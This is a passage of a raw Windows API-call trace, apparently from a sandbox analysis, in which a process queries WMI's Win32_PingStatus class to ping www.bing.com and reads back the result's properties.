lpdwindex=0x59fec24) returned 0x0 [0126.765] CoGetContextToken (in: pToken=0x59fecd4 | out: pToken=0x59fecd4) returned 0x0 [0126.765] CoGetContextToken (in: pToken=0x59fec34 | out: pToken=0x59fec34) returned 0x0 [0126.765] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcba8, riid=0x59fed04*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fed00 | out: ppvObject=0x59fed00*=0x5cdcba8) returned 0x0 [0126.766] WbemDefPath:IUnknown:AddRef (This=0x5cdcba8) returned 0x3 [0126.766] WbemDefPath:IUnknown:Release (This=0x5cdcba8) returned 0x2 [0126.766] WbemDefPath:IWbemPath:SetText (This=0x5cdcba8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0126.766] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fee80 | out: puCount=0x59fee80*=0x2) returned 0x0 [0126.766] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0x0, pszText=0x0 | out: puBuffLength=0x59fee7c*=0xf, pszText=0x0) returned 0x0 [0126.766] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fee7c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fee7c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.768] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0126.768] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0126.768] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.768] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Address", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2725364*=0, plFlavor=0x2725368*=0 | out: pVal=0x59fede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2725364*=8, plFlavor=0x2725368*=0) returned 0x0 [0126.768] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0126.768] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0126.768] IWbemClassObject:Get (in: This=0x5ce4808, wszName="Address", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2725364*=8, plFlavor=0x2725368*=0 | out: pVal=0x59fedec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2725364*=8, plFlavor=0x2725368*=0) returned 0x0 [0126.768] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0126.769] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0126.770] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0126.770] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0126.770] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.770] IWbemClassObject:Get (in: This=0x5ce4808, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2725418*=0, plFlavor=0x272541c*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2725418*=19, plFlavor=0x272541c*=0) returned 0x0 [0126.770] IWbemClassObject:Get (in: This=0x5ce4808, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2725418*=19, plFlavor=0x272541c*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2725418*=19, plFlavor=0x272541c*=0) returned 0x0 [0126.771] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fede8 | out: puCount=0x59fede8*=0x2) returned 0x0 [0126.771] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0x0, pszText=0x0 | out: puBuffLength=0x59fede4*=0xf, pszText=0x0) returned 0x0 [0126.771] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fede4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fede4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.771] IWbemClassObject:Get (in: This=0x5ce4808, wszName="StatusCode", lFlags=0, pVal=0x59fede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27254ac*=0, plFlavor=0x27254b0*=0 | out: pVal=0x59fede4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27254ac*=19, plFlavor=0x27254b0*=0) returned 0x0 [0126.772] IWbemClassObject:Get (in: This=0x5ce4808, wszName="StatusCode", lFlags=0, pVal=0x59fedec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27254ac*=19, plFlavor=0x27254b0*=0 | out: pVal=0x59fedec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27254ac*=19, plFlavor=0x27254b0*=0) returned 0x0 [0126.780] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0126.780] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0126.780] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.780] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2726334*=0, plFlavor=0x2726338*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2726334*=8, plFlavor=0x2726338*=64) returned 0x0 [0126.780] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.780] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.780] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2726334*=8, plFlavor=0x2726338*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2726334*=8, plFlavor=0x2726338*=64) returned 0x0 [0126.780] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.780] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.780] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0126.780] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0126.780] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.780] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27263d0*=0, plFlavor=0x27263d4*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x27263d0*=8, plFlavor=0x27263d4*=64) returned 0x0 [0126.781] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.781] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.781] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27263d0*=8, plFlavor=0x27263d4*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x27263d0*=8, plFlavor=0x27263d4*=64) returned 0x0 [0126.781] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.781] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.781] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0126.781] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0126.781] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.781] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272652c*=0, plFlavor=0x2726530*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3298*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1360, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x272652c*=8200, plFlavor=0x2726530*=64) returned 0x0 [0126.782] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272652c*=8200, plFlavor=0x2726530*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3268*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1360, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x272652c*=8200, plFlavor=0x2726530*=64) returned 0x0 [0126.782] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0126.782] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0126.782] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.782] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272689c*=0, plFlavor=0x27268a0*=0 | out: pVal=0x59feb30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x272689c*=8, plFlavor=0x27268a0*=64) returned 0x0 [0126.783] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.783] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.783] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x272689c*=8, plFlavor=0x27268a0*=64 | out: pVal=0x59feb38*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x272689c*=8, plFlavor=0x27268a0*=64) returned 0x0 [0126.783] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.783] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.783] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59feb34 | out: puCount=0x59feb34*=0x2) returned 0x0 [0126.783] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0x0, pszText=0x0 | out: puBuffLength=0x59feb30*=0xf, pszText=0x0) returned 0x0 [0126.783] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59feb30*=0xf, pszText="00000000000000" | out: puBuffLength=0x59feb30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.784] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59feb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27269c4*=0, plFlavor=0x27269c8*=0 | out: pVal=0x59feb30*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3298*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1360, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x27269c4*=8200, plFlavor=0x27269c8*=64) returned 0x0 [0126.784] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__Derivation", lFlags=0, pVal=0x59feb38*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27269c4*=8200, plFlavor=0x27269c8*=64 | out: pVal=0x59feb38*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3268*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1360, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x27269c4*=8200, plFlavor=0x27269c8*=64) returned 0x0 [0126.795] EtwEventActivityIdControl () returned 0x0 [0126.795] EtwEventActivityIdControl () returned 0x0 [0126.795] EtwEventActivityIdControl () returned 0x0 [0126.835] EtwEventActivityIdControl () returned 0x0 [0126.835] EtwEventActivityIdControl () returned 0x0 [0126.835] EtwEventActivityIdControl () returned 0x0 [0126.899] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x6d7b00 [0126.901] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x6d7b88 [0126.956] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0126.957] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0126.957] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0126.957] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe75c*=0xf, pszText=0x0) returned 0x0 [0126.957] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe75c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe75c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.957] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe768*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe75c | out: pNames=0x59fe75c*="\x01ƀ\x04") returned 0x0 [0127.006] SafeArrayGetDim (psa=0x5cd32f8) returned 0x1 [0127.006] SafeArrayGetDim (psa=0x5cd32f8) returned 0x1 [0127.007] SafeArrayGetLBound (in: psa=0x5cd32f8, nDim=0x1, plLbound=0x59fe5f4 | out: plLbound=0x59fe5f4) returned 0x0 [0127.007] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.007] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.007] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.007] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.007] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.007] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.007] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.007] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.007] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.007] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.007] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.007] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.007] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.007] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.008] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.008] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.008] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.008] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.008] SysStringByteLen (bstr="__PATH") returned 0xc [0127.008] SysStringByteLen (bstr="__PATH") returned 0xc [0127.009] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2733fc4*=0, plFlavor=0x2733fc8*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2733fc4*=3, plFlavor=0x2733fc8*=64) returned 0x0 [0127.009] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27340cc*=0, plFlavor=0x27340d0*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x27340cc*=8, plFlavor=0x27340d0*=64) returned 0x0 [0127.009] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.009] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.009] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734160*=0, plFlavor=0x2734164*=0 | out: pVal=0x59fe758*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734160*=8, plFlavor=0x2734164*=64) returned 0x0 [0127.009] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734224*=0, plFlavor=0x2734228*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2734224*=8, plFlavor=0x2734228*=64) returned 0x0 [0127.009] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.009] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.009] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27342b8*=0, plFlavor=0x27342bc*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x27342b8*=8, plFlavor=0x27342bc*=64) returned 0x0 [0127.009] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.009] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0127.010] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27344f8*=0, plFlavor=0x27344fc*=0 | out: pVal=0x59fe758*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x27344f8*=3, plFlavor=0x27344fc*=64) returned 0x0 [0127.010] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734640*=0, plFlavor=0x2734644*=0 | out: pVal=0x59fe758*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cd3328*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5cc1360, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2734640*=8200, plFlavor=0x2734644*=64) returned 0x0 [0127.010] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27346b0*=0, plFlavor=0x27346b4*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x27346b0*=8, plFlavor=0x27346b4*=64) returned 0x0 [0127.010] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.010] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.010] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2734738*=0, plFlavor=0x273473c*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2734738*=8, plFlavor=0x273473c*=64) returned 0x0 [0127.010] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.010] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.010] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe758*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x273480c*=0, plFlavor=0x2734810*=0 | out: pVal=0x59fe758*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x273480c*=8, plFlavor=0x2734810*=64) returned 0x0 [0127.010] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.010] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0127.011] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0127.011] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0127.011] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.011] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe79c | out: puCount=0x59fe79c*=0x2) returned 0x0 [0127.011] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0x0, pszText=0x0 | out: puBuffLength=0x59fe798*=0xf, pszText=0x0) returned 0x0 [0127.011] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe798*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe798*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.011] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59fe7a4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe798 | out: pNames=0x59fe798*="\x01ƀ\x04") returned 0x0 [0127.011] SafeArrayGetDim (psa=0x5cd32f8) returned 0x1 [0127.011] SafeArrayGetDim (psa=0x5cd32f8) returned 0x1 [0127.011] SafeArrayGetLBound (in: psa=0x5cd32f8, nDim=0x1, plLbound=0x59fe630 | out: plLbound=0x59fe630) returned 0x0 [0127.011] SysStringByteLen (bstr="Address") returned 0xe [0127.011] SysStringByteLen (bstr="Address") returned 0xe [0127.011] SysStringByteLen (bstr="BufferSize") returned 0x14 [0127.011] SysStringByteLen (bstr="BufferSize") returned 0x14 [0127.011] SysStringByteLen 